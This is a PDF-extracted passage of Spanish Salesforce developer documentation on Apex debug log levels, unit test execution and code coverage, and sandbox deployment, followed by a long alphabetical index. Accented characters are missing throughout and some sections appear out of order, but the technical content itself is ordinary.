WF_SPOOL_ACTION_BEGIN
Tipo de nodo
Flujo de
trabajo
INFO y
anteriores
WF_TIME_TRIGGER
Flujo de
trabajo
INFO y
anteriores
Flujo de
trabajo
INFO y
anteriores
Ninguno
CONSULTE TAMBIN
Filtrado de registros de depuracin de clases de Apex y desencadenadores de Apex
Para ejecutar el cdigo que ya ha introducido en la ventana de introduccin de cdigo Apex, escriba ejecutar -r.
3. Despus de que se haya generado el registro, escriba buscar <cadena> para buscar el texto especificado.
Por ejemplo: buscar Nombre de cuenta.
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
Si sustituye los niveles de registro de depuracin de una clase o desencadenador, estos niveles de depuracin tambin se aplican a los
mtodos de clase que activa su clase o desencadenador y los desencadenadores que se ejecutan como resultado. El resto de mtodos
de clase y desencadenadores en la ruta de ejecucin heredan la configuracin del registro de depuracin de su emisor, salvo que hayan
sustituido esta configuracin.
El siguiente diagrama muestra la sustitucin de niveles de registro de depuracin en el nivel de clase y desencadenador. En este caso,
suponga que Class1 causa algunos problemas a los que le gustara prestar ms atencin. Para ello, los niveles de registro de depuracin
de Class1 se elevan a la mayor granularidad. Class3 no sustituye estos niveles de registro, y, por lo tanto, hereda los filtros de
registro granulares de Class1. Sin embargo, UtilityClass ya se ha comprobado y funciona correctamente, por lo que sus filtros
de registro estn desactivados. De igual forma, Class2 no es la ruta de cdigo que causa un problema, por lo que tiene su registro
configurado para registrar nicamente errores de la categora Apex Code. Trigger2 hereda estas configuraciones de registro de
Class2.
Configuracin de ajustes del registro de depuracin de clases y desencadenadores
2. Class1 activa un mtodo de Class3, que por contra activa un mtodo de una clase de utilidad. Por ejemplo:
public class Class1 {
public static void someMethod() {
Class3.thirdMethod();
}
}
public class Class3 {
public static void thirdMethod() {
UtilityClass.doSomething();
}
}
Prueba
Prueba de cambios
Esta seccin contiene informacin sobre cmo comprobar sus cambios.
Acerca de las pruebas de unidad Apex
Trabajo con ejecucin de pruebas de Apex
Ejecucin de pruebas en la Consola de desarrollador
EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition
Los paquetes gestionados
no estn disponibles en
Database.com.
Un subconjunto de clases
Todas las pruebas de unidad de su organizacin
Todas las pruebas de Apex que se han iniciado desde la interfaz de usuario de Salesforce (incluyendo
la Consola de desarrollador) se ejecutan de forma asncrona y en paralelo. Las clases de prueba de
Apex se ponen en la cola de trabajos de Apex para su ejecucin. El nmero mximo de clases de
prueba que puede ejecutar en 24 horas es el mayor de 500 o de 10 multiplicado por el nmero de
clases de prueba de la organizacin. Para organizaciones de sandbox y Developer Edition, este
lmite es superior y es el mayor entre 500 o 20 multiplicado por el nmero de clases de prueba en
la organizacin.
PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex
Para ejecutar todas las pruebas desde Configuracin, haga clic en Desarrollo > Clases de Apex > Ejecutar todas las pruebas.
Para ejecutar pruebas de una clase individual de Configuracin, haga lo siguiente:
Haga clic en Desarrollo > Clases de Apex > Su clase > Realizar prueba.
Haga clic en Desarrollo > Ejecucin de prueba de Apex. Haga clic en Seleccionar pruebas... para seleccionar las clases que
contienen las pruebas que desea ejecutar y haga clic en Ejecutar.
Despus de ejecutar pruebas puede visualizar los resultados de la cobertura de cdigo en la Consola de desarrollador, incluidas las lneas
del cdigo cubiertas por pruebas para una clase o un desencadenador individual. Consulte Comprobacin de la cobertura del cdigo.
CONSULTE TAMBIN
Trabajo con ejecucin de pruebas de Apex
EDICIONES
PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex
Para seleccionar cualquier prueba, seleccione [Todos los espacios de nombre] de la lista
desplegable. Aparecern todas las clases de la organizacin, independientemente de si
pertenecen o no a un paquete gestionado.
Nota: En la lista no aparecern aquellas clases cuyas pruebas sigan ejecutndose.
4. Haga clic en Ejecutar.
Tras seleccionar las clases de prueba que desea ejecutar, las clases seleccionadas se pondrn en la cola de trabajos de Apex a la espera
de ejecucin. El nmero mximo de clases de prueba que puede seleccionar para la ejecucin es el mayor de 500 o de 10 multiplicado
por el nmero de clases de prueba de la organizacin en 24 horas. Para organizaciones de sandbox y Developer Edition, este lmite es
superior y es el mayor entre 500 o 20 multiplicado por el nmero de clases de prueba en la organizacin.
Mientras las pruebas se estn ejecutando, puede seleccionar una o ms pruebas y hacer clic en Abortar para cancelarlas.
Cuando acabe la ejecucin de una prueba, puede:
Haga clic en la prueba para ver la informacin detallada del resultado; si una prueba falla, aparecern el primer mensaje de error y
el seguimiento de la pila.
Haga clic en Ver para ver el cdigo Apex de origen.
Nota: Los resultados de la prueba se muestran durante 60 minutos despus de la finalizacin de su ejecucin.
Utilice la pgina Resultados de pruebas de Apex para ver todos los resultados de prueba de su organizacin. En Configuracin, haga clic
en Desarrollo > Ejecucin de prueba de Apex > Ver historial de pruebas.
Utilice la Consola de desarrollador para ver informacin adicional sobre la ejecucin de las pruebas:
1. Haga clic en Su nombre > Consola del desarrollador.
2. Ejecute sus pruebas utilizando la pgina de ejecucin de pruebas de Apex.
3. Compruebe la Consola de desarrollador para revisar la solicitud.
Nivel
Base de datos
INFO
Cdigo Apex
FINE
Perfil de Apex
FINE
Flujo de trabajo
FINEST
Validacin
INFO
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex
Importante: Antes de poder implementar Apex o empaquetarlo para AppExchange de Force.com, deben darse las siguientes
afirmaciones.
Las pruebas de unidad deben cubrir al menos el 75% de su cdigo Apex, y todas esas pruebas deben completarse correctamente.
Tenga en cuenta lo siguiente.
Al implementar en una organizacin de produccin, se ejecutar cada prueba de unidad del espacio de nombres de su
organizacin.
Las llamadas a System.debug no se cuentan como parte de la cobertura de cdigo Apex.
Los mtodos y las clases de prueba no se cuentan como parte de cobertura de cdigo Apex.
Aunque las pruebas deben cubrir solo el 75% de su cdigo Apex, no debe centrarse en el porcentaje de cdigo que se
cubre. En su lugar, debe asegurarse de que se cubre cada caso de uso de su aplicacin, incluidos los casos positivos y
negativos, as como los registros masivos y nicos. Esto debera dar lugar a que las pruebas de unidad cubrieran el 75% o
ms de su cdigo.
Cada desencadenador debe contar con alguna cobertura de prueba.
Todas las clases y los desencadenadores se deben compilar satisfactoriamente.
CONSULTE TAMBIN
Detalles de los resultados de pruebas de Apex
EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition
PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex
El panel Cobertura de cdigo total muestra el porcentaje de cobertura del cdigo para cada clase de la organizacin. El panel siempre
muestra el porcentaje actual de cada clase. Despus de realizar una ejecucin de prueba de todas las clases, muestra el porcentaje
general para toda la organizacin en negrita. Para obtener ms informacin, consulte Comprobacin de la cobertura del cdigo.
Para obtener ms informacin sobre la realizacin de pruebas, consulte la seccin Pruebas en la Gua del desarrollador del cdigo Apex
de Force.com.
CONSULTE TAMBIN
Creacin de ejecuciones de prueba
Comprobacin de la cobertura del cdigo
Nota: Cuando modifica una clase con cobertura de cdigos, el azul y el rojo que resaltan en el editor de cdigo fuente se atenan
para indicar que la cobertura ya no es vlida. Cuando modifica y guarda una clase, se elimina la cobertura para esa clase. Para
consultar la cobertura para esa clase, vuelva a ejecutar esas pruebas.
CONSULTE TAMBIN
Creacin de ejecuciones de prueba
Ejecucin de pruebas en la Consola de desarrollador
2.
Para filtrar la lista de clases, escriba en el cuadro Filtrar. Para seleccionar varias clases adyacentes, seleccione una clase y pulse la
tecla Mays a la vez que hace clic en las clases que desea seleccionar. Para seleccionar varias clases que no sean adyacentes, seleccione
una clase nica y pulse la tecla CTRL a la vez que hace clic en las otras clases que desea seleccionar. Tambin puede hacer clic en
Seleccionar todo.
3. Cuanto todas las clases que desea ejecutar se hayan incluido en el panel Clases de prueba seleccionadas, haga clic en Ejecutar para
ponerlas en cola y ejecutarlas.
La ejecucin de la prueba aparecer en la ficha Pruebas. Para detener una prueba, haga clic en Prueba > Cancelar.
Nota: Si sus mtodos de prueba realizan llamadas a otros mtodos o clases definidos como pruebas en su organizacin,
tambin se ejecutarn estos mtodos y clases.
4. En la ficha Pruebas, ample la ejecucin de prueba para ver los resultados de cada mtodo invocado por cada clase en la ejecucin.
Nota: Las clases de prueba no necesitan cobertura de cdigo, por lo que muestran una cobertura del 0% en el panel Cobertura
de cdigo total y no afectan al porcentaje de cobertura de cdigo total.
5. Haga doble clic en la ejecucin de prueba completada para abrir los resultados en una vista detallada que muestra la clase y el
mtodo comprobados, la duracin, el resultado (omisin, paso o fallo) y un mensaje de error opcional.
Si se produce un fallo en la prueba, una columna Seguimiento de pila muestra el mtodo y el nmero de lnea donde se produjo el
fallo.
6. Seleccione un mtodo de prueba para ver su cobertura para cada clase del panel Cobertura del cdigo de clase.
7. Para borrar los resultados actuales, haga clic en Prueba > Borrar datos de prueba.
CONSULTE TAMBIN
Ejecucin de pruebas en la Consola de desarrollador
Comprobacin de la cobertura del cdigo
Implementacin
Esta seccin contiene informacin acerca de la implementacin de cambios que ha codificado en su organizacin.
Los cambios de cdigo deben realizarse en un sandbox, de modo que pueda probar los cambios antes de implementarlos. Los Sandboxes
contienen copias de sus ajustes de datos, cdigo y configuracin aislados de su entorno de produccin. Puede personalizar su organizacin
y probar aplicaciones en un sandbox, luego implementar los cambios en su organizacin de produccin cuando estn listos. En algunos
casos puede tener varios desarrolladores trabajando en distintos sandbox y despus coordinar esos cambios para la implementacin.
Estas secciones incluyen informacin sobre el proceso de implementacin y las herramientas disponibles para desarrollar e implementar
cambios:
Conceptos bsicos sobre implementacin
Seleccione sus herramientas para el desarrollo e implementacin de cambios
NDICE
A
Acceso a aplicacin
denegar acceso 202
solicitud aprobada 201
solicitudes 200
Acceso remoto
mbito 187
autenticacin de usuarios 159
desarrollo para 159
descripcin general 136
gestin de aplicaciones 152
OAuth
187
mbito 187
revocar acceso 188
terminologa 158
uso de token de id 190
uso de URL de identidad 191
uso de UserInfo Endpoint 196
uso del extremo de deteccin de conexin OpenID 199
uso del token de acceso 190
Apex
Ajuste de acceso a clase 8587
clases 55
cdigo 49
cdigo fuente 14
cola de trabajos 6263
configuracin de versin 57
correo electrnico 98
creacin de una clase 50
creacin de una clase desde un WSDL 61
definicin de desencadenador 51
definicin de seguridad de clases 84
dependencias 58
depuracin 5, 216
descarga de un WSDL personalizado 122
descripcin general 49
editor 1314
errores en paquetes 54
filtros de registro de depuracin 225
gestin de desencadenadores 56
llamada 65
modificacin 5
motivos de colaboracin 87
niveles de registro de depuracin 225
Apex (continuacin)
nuevo clculo de la colaboracin de Apex 88
pgina de detalles de desencadenador 60
pruebas 58, 241242, 244247
registros de depuracin 223
resumen de clase 58
servicio Web externo 65
servicios de correo electrnico 103
vista de una clase 58
API
descarga de un WSDL 122
API de metadatos 123
API masiva 123
aplicacin conectada
flujo de autenticacin 160, 172, 175, 180, 182, 185
flujo de soporte SAML 165
flujo del token de soporte JWT 168
terminologa 158
Aplicacin conectada
control de acceso en 146, 148
creacin 137
crear 136
desinstalacin 157
detalles 146
eliminacin 144
gestin 147
mensajes de error de notificaciones distribuidas 155
modificacin 144, 146, 148
Notificaciones distribuidas de Android GCM, pruebas 154
Notificaciones distribuidas de APNS, pruebas 154
paquete 144
pruebas de notificaciones distribuidas 153
restricciones de direcciones IP para 146, 148
supervisin del uso 151
URL de inicio 146, 148
aplicaciones conectadas 159
Aplicaciones conectadas
gestin de aplicaciones 152
uso de UserInfo Endpoint 196
uso del extremo de deteccin de conexin OpenID 199
AppExchange
Errores de Apex 54
C
Campos
mbito de operacin 122
ndice
Campos (continuacin)
dependencias 122
Campos de combinacin
S-Control 117
Certificados de autenticacin de cliente
descarga 122
Chat
activacin para pginas de Visualforce 84
desactivacin para pginas de Visualforce 84
Clases
registros de depuracin 239
Cdigo
seguridad 91
Cola de trabajos de Apex 6263
Colaboracin
nuevo clculo de la colaboracin de Apex 88
Razones de colaboracin de Apex 87
Componentes personalizados, Visualforce
creacin 76
descripcin general 75
gestin 78
vista 77
Comprobacin de cambios en la organizacin 240
Conexin OpenID 191, 196, 199
Configuracin de versin 57, 74
Conjuntos de permisos
Visualforce 90
Consola de desarrollador
acerca de 5, 216
Archivo 89
base de datos 17
cdigo fuente 14
comprobacin de la cobertura del cdigo 246
concepto 5, 216
Consola de desarrollador
207
vista Inspector de volcados de pila 207
Cuadrcula Resultados de consulta 11
depuracin 204, 206207
Depuracin 10
Editor Consulta 11
editor de cdigo 14
ejecuciones de prueba 247
esquema 17
Estado de visualizacin 222
fichas 7
Herramientas 11, 222
interfaz de usuario 7
layout 2
D
Dependencias
campo 122
Depuracin
de flujo de trabajo 213
filtrado 225
informacin de perfiles 213
nivel de registro 225
niveles de registro de clase y desencadenador 239
revisin de un proceso paso a paso 212
Depuracin de Apex 5, 216
Depuracin del cdigo 204
Desarrollo
seguridad 91
ndice
Desencadenadores
definicin 51
gestin 56
pgina de detalles 60
registros de depuracin 239
desinstalacin de una aplicacin conectada 157
E
Editor Consulta 11
ejecucin annima 6
Ejecucin de pruebas de Apex 242, 244247
ejecutar Apex 52
eliminacin de una aplicacin conectada 144
Escritura de cdigo 2
Estado de visualizacin 222
Etiquetas personalizadas
adicin de traducciones 114
descripcin general 111
modificacin 112
modificacin de traducciones 113
vista 114
Excepciones
no detectadas 73
F
Fichas
Visualforce 72
Filtrado de registros de depuracin 225
Frmulas
variables globales 19
Funcin URLFOR 78
Funciones
URLFOR 78
G
Gestin de excepciones no detectadas 73
gestin de una aplicacin conectada 147
H
Herramienta de migracin Force.com 123
I
IDE de Force.com 123
Identity
SCIM Y API de REST 127
Implementacin de cambios de cdigo 248
Inicio de sesin nico
flujo de afirmacin SAML 185
OAuth 185
Integracin
descarga de un certificado de autenticacin de cliente 122
descarga de un WSDL 122
S-Control 114115
Intervalos de direcciones IP con aplicaciones conectadas 144
Intervalos de direcciones IP de lista blanca en aplicaciones
conectadas 144
J
JavaScript 126
L
lnea de comandos 6
Llamadas
No es posible analizar la respuesta de la llamada, error 65
M
Mejora de Salesforce con programacin
Introduccin 1
Mensaje de error
notificaciones distribuidas 155
Modificacin de Apex 5
modificacin de una aplicacin conectada 144, 146, 148
Modo de desarrollo
activacin 69
N
notificaciones distribuidas
mensajes de error 155
pruebas 153154
O
OAuth
autenticacin 159
cdigos de error 164
extremos 160
flujo de afirmacin SAML 185
flujo de autenticacin 160, 172, 175, 180, 182
flujo de autenticacin de agente de usuario 182
Flujo de autenticacin de la versin 1.0.A 160
flujo de autenticacin de nombre de usuario-contrasea 180
Flujo de autenticacin del servidor Web 175
flujo de soporte SAML 165
flujo de token de actualizacin 172
flujo del token de soporte JWT 168
revocar tokens 188
terminologa 158
uso de token de id 190
uso de URL de identidad 191, 196, 199
ndice
OAuth (continuacin)
uso del token de acceso 190
Objeto InboundEmail 107
Objeto InboundEmail.BinaryAttachment 109
Objeto InboundEmail.Header 109
Objeto InboundEmail.TextAttachment 109
Objeto InboundEmailResult 110
Objeto InboundEnvelope 110
P
Pginas de Visualforce
campos de combinacin 71
paquete de una aplicacin conectada 144
Paquetes
Errores de Apex 54
Paquetes gestionados
sustitucin de etiquetas personalizadas 113
Perfiles
Visualforce 91
Permisos personalizados
acerca de 202
creacin 203
modificacin 203
permisos personalizados necesarios 204
Preguntas ms frecuentes
Apex 6566
clases y desencadenadores 66
llamada 65
servicio Web externo 65
Procesos de aprobacin
registros de depuracin 223
Programacin de Apex 64
Proteccin de su cdigo 84
Pruebas 58, 241
Pruebas de Apex 242, 244247
Pruebas de unidad 242, 244247
R
Recursos estticos
definicin 80
descripcin general 78
gestin 81
vista 81
registro 6, 238
registro de depuracin 6, 238
registro del sistema 6, 238
Registros de depuracin
clases y desencadenadores 239
filtros 225
S
S-Control
campos de combinacin 117
creacin 114115
definicin 114115
eliminacin 117
en comparacin con pginas de Visualforce 118
modificacin 115
tipos de campo de combinacin 19
variables globales 19
SAML
flujo de afirmacin SAML 185
OAuth 185
SCIM 127
Seguridad
cdigo 91
Visualforce 8990
Servicios de correo electrnico
direcciones de servicio de correo electrnico 99
modificacin 100
Objeto InboundEmail 107
Objeto InboundEmail.BinaryAttachment 109
Objeto InboundEmail.Header 109
Objeto InboundEmail.TextAttachment 109
Objeto InboundEmailResult 110
Objeto InboundEnvelope 110
SOQL 11
Supervisin
detalles de trabajo de carga masiva de datos 130
trabajos de carga masiva de datos 128
supervisin del uso de una aplicacin conectada 151
T
tokens, revocar 188
ndice
U
URL de identidad 191, 196, 199
URL de inicio en aplicaciones conectadas 148
uso de API
detalles 135
notificaciones 134135
V
Valores de variables globales de accin 41
Variable global de recurso 78
Variables globales
$Resource 78
concepto 19
Valores vlidos de $Action 41
ventana de lnea de comandos 238
vista del Inspector de registros
rbol de rendimiento 211
pila 211
seguimiento regresivo 211
Vista del Inspector de registros
informacin de perfiles 213
pila 212
registro de ejecucin 212
seccin de origen 213
secciones 210
W
WSDL
descarga 122